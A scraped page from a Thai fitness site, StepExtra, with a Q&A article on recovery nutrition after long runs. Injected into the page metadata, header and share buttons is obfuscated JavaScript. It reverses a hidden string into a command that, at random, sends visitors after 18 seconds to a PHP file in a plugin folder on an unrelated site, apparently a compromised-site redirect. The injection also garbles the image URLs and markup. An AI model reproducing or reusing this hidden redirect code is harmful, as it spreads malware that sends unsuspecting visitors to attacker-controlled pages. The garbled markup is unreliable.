andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andwich-833607_1280.jpg","contentUrl":"https://www.stepextra.com/wp-content/uploads/2016/01/sandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andwich-833607_1280.jpg","width":1280,"height":854},{"@type":"WebPage","@id":"https://www.stepextra.com/recovery-%e0%b8%ab%e0%b8%a5%e0%b8%b1%e0%b8%87%e0%b8%88%e0%b8%b2%e0%b8%81%e0%b8%a7%e0%b8%b4%e0%b9%88%e0%b8%87%e0%b8%ad%e0%b8%a2%e0%b9%88%e0%b8%b2%e0%b8%87%e0%b9%84%e0%b8%a3%e0%b8%94%e0%b8%b5/#webpage","url":"https://www.stepextra.com/recovery-%e0%b8%ab%e0%b8%a5%e0%b8%b1%e0%b8%87%e0%b8%88%e0%b8%b2%e0%b8%81%e0%b8%a7%e0%b8%b4%e0%b9%88%e0%b8%87%e0%b8%ad%e0%b8%a2%e0%b9%88%e0%b8%b2%e0%b8%87%e0%b9%84%e0%b8%a3%e0%b8%94%e0%b8%b5/","name":"Recovery หรือฟื้นฟูร่างกายหลังจากฝึกวิ่งอย่างไรดี - StepExtra","isPartOf":{"@id":"https://www.stepextra.com/#website"},"primaryImageOfPage":{"@id":"https://www.stepextra.com/recovery-%e0%b8%ab%e0%b8%a5%e0%b8%b1%e0%b8%87%e0%b8%88%e0%b8%b2%e0%b8%81%e0%b8%a7%e0%b8%b4%e0%b9%88%e0%b8%87%e0%b8%ad%e0%b8%a2%e0%b9%88%e0%b8%b2%e0%b8%87%e0%b9%84%e0%b8%a3%e0%b8%94%e0%b8%b5/#primaryimage"},"datePublished":"2016-09-16T08:52:18+00:00","dateModified":"2016-09-16T08:52:18+00:00","author":{"@id":"https://www.stepextra.com/#/schema/person/ffcafb459f9f70b04929f261f4ca30a7"},"breadcrumb":{"@id":"https://www.stepextra.com/recovery-%e0%b8%ab%e0%b8%a5%e0%b8%b1%e0%b8%87%e0%b8%88%e0%b8%b2%e0%b8%81%e0%b8%a7%e0%b8%b4%e0%b9%88%e0%b8%87%e0%b8%ad%e0%b8%a2%e0%b9%88%e0%b8%b2%e0%b8%87%e0%b9%84%e0%b8%a3%e0%b8%94%e0%b8%b5/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.stepextra.com/recovery-%e0%b8%ab%e0%b8%a5%e0%b8%b1%e0%b8%87%e0%b8%88%e0%b8%b2%e0%b8%81%e0%b8%a7%e0%b8%b4%e0%b9%88%e0%b8%87%e0%b8%ad%e0%b8%a2%e0%b9%88%e0%b8%b2%e0%b8%87%e0%b9%84%e0%b8%a3%e0%b8%94%e0%b8%b5/"]}]},{"@type":"BreadcrumbList","@id":"https://www.stepextra.com/recovery-%e0%b8%ab%e0%b8%a5%e0%b8%b1%e0%b8%87%e0%b8%88%e0%b8%b2%e0%b8%81%e0%b8%a7%e0%b8%b4%e0%b9%88%e0%b8%87%e0%b8%ad%e0%b8%a2%e0%b9%88%e0%b8%b2%e0%b8%87%e0%b9%84%e0%b8%a3%e0%b8%94%e0%b8%b5/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.stepextra.com/"},{"@type":"ListItem","position":2,"name":"Recovery หรือฟื้นฟูร่างกายหลังจากฝึกวิ่งอย่างไรดี"}]},{"@type":"Person","@id":"https://www.stepextra.com/#/schema/person/ffcafb459f9f70b04929f261f4ca30a7","name":"stepextra","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.stepextra.com/#/schema/person/image/","url":"https://secure.gravatar.com/avatar/42fc4a85589cb422ed55f6187a18d66b?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/42fc4a85589cb422ed55f6187a18d66b?s=96&d=mm&r=g","caption":"stepextra"},"url":"https://www.stepextra.com/author/stepextra/"}]}
  • เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Feature

Recovery หรือฟื้นฟูร่างกายหลังจากฝึกวิ่งอย่างไรดี

stepextra by stepextra
16 September 2016
in Feature, Healthy Tips, Running Tips, Tips & Technics
0
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andwich-833607_1280.jpg">
10 สุดยอดเเหล่งคาร์โบฯ สำหรับนักปั่น
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andwich-833607_1280.jpg&description=Recovery+%E0%B8%AB%E0%B8%A3%E0%B8%B7%E0%B8%AD%E0%B8%9F%E0%B8%B7%E0%B9%89%E0%B8%99%E0%B8%9F%E0%B8%B9%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%81%E0%B8%B2%E0%B8%A2%E0%B8%AB%E0%B8%A5%E0%B8%B1%E0%B8%87%E0%B8%88%E0%B8%B2%E0%B8%81%E0%B8%9D%E0%B8%B6%E0%B8%81%E0%B8%A7%E0%B8%B4%E0%B9%88%E0%B8%87%E0%B8%AD%E0%B8%A2%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B9%84%E0%B8%A3%E0%B8%94%E0%B8%B5" rel='nofollow' class="jeg_btn-pinterest ">

Recovery หลังจากวิ่งอย่างไรดี

หลังจากการฝึกวิ่งระยะทางไกล (พูดภาษาอังกฎษคือ การฝึก Endurance น่าจะเข้าใจง่ายกว่านะ) เสร็จเรียบร้อยเราก็จะเข้าสู่กระบวนการ Recovery หรือการพักฟื้น อันจะช่วยให้มัดกล้ามเนื้อลดอาการปวดเมื่อยเเละพัฒนาศักยภาพให้เเข็งเเรงขึ้น

คำถาม…เราควรเริ่มรับประทานอาหารเมื่อไหรเพื่อให้การฟื้นฟูมีประสิทธิภาพที่สุด
ตอบ…ยิ่งเรายิ่งดี เเต่ตามทฏษฏีทั่วไปจะเเนะนำให้เริ่มที่ 30 นาที หลังจะฝึกจบเเล้ว ให้ร่างกายมีเเหล่งสารอาหาร ดึงไปใช้ในการสร้างเเละซ่อมเเซม

meat-1440105_1280

คำถาม…เราควรรับโปรตีนหรือคาร์โบไฮเดรตในการเร่งการฟื้นฟู
ตอบ…อาหารประเภท คาร์โบไฮเดรต เป็นเเหล่งเชื้อเพลิง เมื่อออกกำลังกายไป จำนวนไกลโคเจนในร่างกาย (กล้ามเนื้อและตับ) จะลดลง เเละเพราะกล้ามเนื้อกักเก็บได้จำนวนหนึ่ง เมื่อเราใช้ไปหมดก็จำเป็นที่จะต้องเติมกลับ เพื่อใช้ในการออกกำลังกายต่อไป..พูดง่ายๆ คือไม่กินเเป้งก็ไม่มีเเรง สำหรับในส่วนของอาหารประเภทโปรตีน เป็นสารอาหารที่สำคัญในการซ่อมเเซมเเละเสริมสร้างกล้ามเนื้อ การรับโปรตีนหลังการฝึกจะช่วยลดอาการปวดเมื่อยของกล้ามเนื้อได้อย่างดี เเต่สำหรับใครที่ไม่สามารถรับประทานอาหารหลังวิ่งเสร็จเเนะนำให้ใช้เป็นเครื่องดื่มที่มีโปรตีนผสมเเทน…ถ้าถามว่าอันไหนสำคัญสุด ต้องตอบว่าทั้งสอง เเต่จุดประสงค์การฝึกจะเป็นตัวเเบ่งสัดส่วนอาหาร อย่างเช่น ถ้าต้องการลดน้ำหนัก ต้องการลีนร่งกาย ก็เน้นโปรตีน ลดคาร์โบลง

street-marathon-1149220_1280

คำถาม…สำหรับคนที่ต้องการลดน้ำหนัก ควรรับอาหารคาร์โบหลังฝึกเสร็จเลยหรือไม่ กินเเต่โปรตีนได้ไหม
ตอบ…ถ้ากินเเต่โปรตีนเเล้วจะมีเเรงหรือไม่ สำคัญสุดคือการควบคุมปริมาณอาหารเเละจัดสรสัดส่วนโปรตีน เเป้ง ผักให้สมดุลจะดีกว่า เเนะนำให้ทานคาร์โบที่มีดัชนี GI ต่ำ หรือแป้งที่มีไฟเบอร์สูง อย่างข้าวกล่อง เเป้งโฮลวีต ให้ปริมาณน้ำตาลต่ำและคงที่อย่างต่อเนื่อง

คำถาม…หลังจบวิ่งฟูลมาราธอนเเล้วจะออกวิ่งอีกครั้งเมื่อไหรดี
ตอบ…จำไว้ว่าสิ่งที่ต้องทำหลังจากจบการวิ่งฟูลมาราธอน คือ 4R ประกอบไปด้วย Rest กับพักผ่อน การเข้านอนเร็วขึ้น เลี่ยงกิจกรรมหนักๆ…Rehydrate รักษาสมดุลน้ำให้ดี ดื่มน้ำเยอะๆ…Repair รับโปรตีนอย่งน้อย 20 กรัมหลังจากจบการวิ่ง เพื่อให้ร่างกายเริ่มสตาร์ทกลไกซ่อมเเซมกล้ามเนื้อ…Refuel อย่าลืมรับคาร์โบเพื่อเป็นเเหล่งพลังงาน ปริมาณอย่างน้อย 1กรัม/น้ำหนักร่างกาย 1กิโลกรัม คือถ้าเราหนัก 74 กิโลกรัม ก็ต้องกินเเป้งอย่างน้อย 74 กรัม

ShareTweetShare
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andwich-833607_1280.jpg&description=Recovery+%E0%B8%AB%E0%B8%A3%E0%B8%B7%E0%B8%AD%E0%B8%9F%E0%B8%B7%E0%B9%89%E0%B8%99%E0%B8%9F%E0%B8%B9%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%81%E0%B8%B2%E0%B8%A2%E0%B8%AB%E0%B8%A5%E0%B8%B1%E0%B8%87%E0%B8%88%E0%B8%B2%E0%B8%81%E0%B8%9D%E0%B8%B6%E0%B8%81%E0%B8%A7%E0%B8%B4%E0%B9%88%E0%B8%87%E0%B8%AD%E0%B8%A2%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B9%84%E0%B8%A3%E0%B8%94%E0%B8%B5" rel='nofollow' class="jeg_btn-pinterest ">
stepextra

stepextra

Related Posts

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้
Gear News

adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

16 April 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • มือใหม่อยาก วิ่ง 10 กิโล ต้องเริ่มอย่างไรและเรียนรู้อะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • ปั่นช้าๆ รอบขาต่ำ (Low cadence) มีประโยชน์มากกว่าที่คุณคิด

    0 shares
    Share 0 Tweet 0
  • 5 สิ่งที่ควรทำก่อนออกกำลังกาย

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

16 April 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2022 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.